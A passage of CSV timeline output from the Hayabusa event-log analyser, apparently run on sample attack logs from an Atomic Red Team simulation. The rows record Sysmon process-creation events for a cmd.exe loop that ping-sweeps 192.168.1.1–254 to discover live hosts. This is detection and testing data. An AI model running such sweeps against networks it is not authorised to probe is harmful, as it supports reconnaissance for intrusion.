+09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.141 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:45.532 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.142 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:45.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.143 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:46.405 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.144 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:46.879 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.145 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:47.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.146 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:47.993 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.147 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:48.567 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.148 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:49.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.149 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:49.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.150 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:50.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.151 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:50.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.152 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:51.038 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.153 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:51.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.154 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:52.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.155 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:52.553 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.156 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:53.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.157 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:53.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.158 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.159 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.529 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.160 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.999 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.161 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:55.533 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.162 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:56.017 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.163 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:56.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.164 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:57.003 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.165 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:57.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.166 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:58.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.167 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:58.563 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.168 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:59.016 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.169 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:59.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.170 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:00.077 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.171 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:00.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.172 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:01.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.173 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:01.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.174 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:02.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.175 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:02.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.176 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:03.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.177 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:03.557 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.178 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:04.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.179 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:04.539 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.180 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:05.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.181 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:05.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.182 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:06.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.183 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:06.535 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.184 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.185 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.533 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.186 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.912 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.187 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:08.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.188 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:09.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.189 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:09.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.190 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:10.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.191 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:10.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.192 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:11.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.193 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:11.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.194 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:12.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.195 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:12.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.196 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 